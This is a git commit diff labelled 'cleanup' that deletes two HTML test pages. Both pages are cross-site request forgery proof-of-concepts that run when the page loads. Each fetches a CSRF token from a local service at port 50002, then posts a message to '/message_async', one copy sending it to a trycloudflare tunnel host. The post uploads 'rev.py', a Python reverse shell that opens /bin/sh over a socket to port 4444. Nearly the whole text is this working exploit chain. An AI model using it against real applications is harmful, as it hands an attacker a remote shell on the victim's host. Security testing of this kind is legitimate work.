cleanup
frdel committed
Jun 24, 2025 at 14:23 UTC
a1505774020671db5c14be5aa81c9dfbafe74152
2 files changed
-126
test [conflicted].html
deleted
-61
@@ -1,61 +0,0 @@
1
-<html>
2
- <body>
3
- <script>
4
- function submitRequest()
5
- {
6
- // First XMLHttpRequest to get the CSRF token
7
- var tokenXhr = new XMLHttpRequest();
8
- tokenXhr.open("GET", "http:\/\/localhost:50002\/csrf_token", false); // synchronous request
9
- tokenXhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
10
- tokenXhr.setRequestHeader("Accept", "*\/*");
11
- tokenXhr.withCredentials = true;
12
- tokenXhr.send({});
13
-
14
- // Parse the token response
15
- var tokenData = JSON.parse(tokenXhr.responseText);
16
- var csrfToken = tokenData.token;
17
-
18
- var xhr = new XMLHttpRequest();
19
- xhr.open("POST", "https:\/\/participant-masters-estimates-digit.trycloudflare.com\/message_async", true);
20
- xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
21
- xhr.setRequestHeader("Accept", "*\/*");
22
- xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary2vhsFbdS6JottCc9");
23
- xhr.setRequestHeader("X-CSRF-Token", csrfToken);
24
- xhr.withCredentials = true;
25
- var body = "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
26
- "Content-Disposition: form-data; name=\"text\"\r\n" +
27
- "\r\n" +
28
- "\r\n" +
29
- "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
30
- "Content-Disposition: form-data; name=\"context\"\r\n" +
31
- "\r\n" +
32
- "4770cda2-faa5-40eb-91be-f45edbec9a34\r\n" +
33
- "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
34
- "Content-Disposition: form-data; name=\"message_id\"\r\n" +
35
- "\r\n" +
36
- "6ce5886d-f55c-4f74-a980-c483ee291349\r\n" +
37
- "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
38
- "Content-Disposition: form-data; name=\"attachments\"; filename=\"rev.py\"\r\n" +
39
- "Content-Type: text/x-python\r\n" +
40
- "\r\n" +
41
- "import socket,os,pty\n" +
42
- "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" +
43
- "s.connect((\"127.0.0.1\",4444))\n" +
44
- "os.dup2(s.fileno(),0)\n" +
45
- "os.dup2(s.fileno(),1)\n" +
46
- "os.dup2(s.fileno(),2)\n" +
47
- "pty.spawn(\"/bin/sh\")\n" +
48
- "\r\n" +
49
- "------WebKitFormBoundary2vhsFbdS6JottCc9--\r\n";
50
- var aBody = new Uint8Array(body.length);
51
- for (var i = 0; i < aBody.length; i++)
52
- aBody[i] = body.charCodeAt(i);
53
- xhr.send(new Blob([aBody]));
54
- }
55
- submitRequest();
56
- </script>
57
- <form action="#">
58
- <input type="button" value="Submit request" onclick="submitRequest();" />
59
- </form>
60
- </body>
61
-</html>
\ No newline at end of file
test.html
deleted
-65
@@ -1,65 +0,0 @@
1
-<html>
2
- <body>
3
- <script>
4
- function submitRequest()
5
- {
6
- // First XMLHttpRequest to get the CSRF token
7
- var tokenXhr = new XMLHttpRequest();
8
- tokenXhr.open("GET", "http:\/\/localhost:50002\/csrf_token", false); // synchronous request
9
- tokenXhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
10
- tokenXhr.setRequestHeader("Accept", "*\/*");
11
- tokenXhr.withCredentials = true;
12
- tokenXhr.send({});
13
-
14
-
15
- // Parse the token response
16
- var tokenData = JSON.parse(tokenXhr.responseText);
17
- var csrfToken = tokenData.token;
18
-
19
- // Set the CSRF token as a cookie to match session["csrf_token"]
20
- document.cookie = "csrf_token=" + csrfToken + "; path=/; SameSite=Strict";
21
-
22
- var xhr = new XMLHttpRequest();
23
- xhr.open("POST", "http:\/\/localhost:50002\/message_async", true);
24
- xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
25
- xhr.setRequestHeader("Accept", "*\/*");
26
- xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary2vhsFbdS6JottCc9");
27
- xhr.setRequestHeader("X-CSRF-Token", csrfToken);
28
- xhr.withCredentials = true;
29
- var body = "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
30
- "Content-Disposition: form-data; name=\"text\"\r\n" +
31
- "\r\n" +
32
- "\r\n" +
33
- "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
34
- "Content-Disposition: form-data; name=\"context\"\r\n" +
35
- "\r\n" +
36
- "4770cda2-faa5-40eb-91be-f45edbec9a34\r\n" +
37
- "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
38
- "Content-Disposition: form-data; name=\"message_id\"\r\n" +
39
- "\r\n" +
40
- "6ce5886d-f55c-4f74-a980-c483ee291349\r\n" +
41
- "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
42
- "Content-Disposition: form-data; name=\"attachments\"; filename=\"rev.py\"\r\n" +
43
- "Content-Type: text/x-python\r\n" +
44
- "\r\n" +
45
- "import socket,os,pty\n" +
46
- "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" +
47
- "s.connect((\"127.0.0.1\",4444))\n" +
48
- "os.dup2(s.fileno(),0)\n" +
49
- "os.dup2(s.fileno(),1)\n" +
50
- "os.dup2(s.fileno(),2)\n" +
51
- "pty.spawn(\"/bin/sh\")\n" +
52
- "\r\n" +
53
- "------WebKitFormBoundary2vhsFbdS6JottCc9--\r\n";
54
- var aBody = new Uint8Array(body.length);
55
- for (var i = 0; i < aBody.length; i++)
56
- aBody[i] = body.charCodeAt(i);
57
- xhr.send(new Blob([aBody]));
58
- }
59
- submitRequest();
60
- </script>
61
- <form action="#">
62
- <input type="button" value="Submit request" onclick="submitRequest();" />
63
- </form>
64
- </body>
65
-</html>
\ No newline at end of file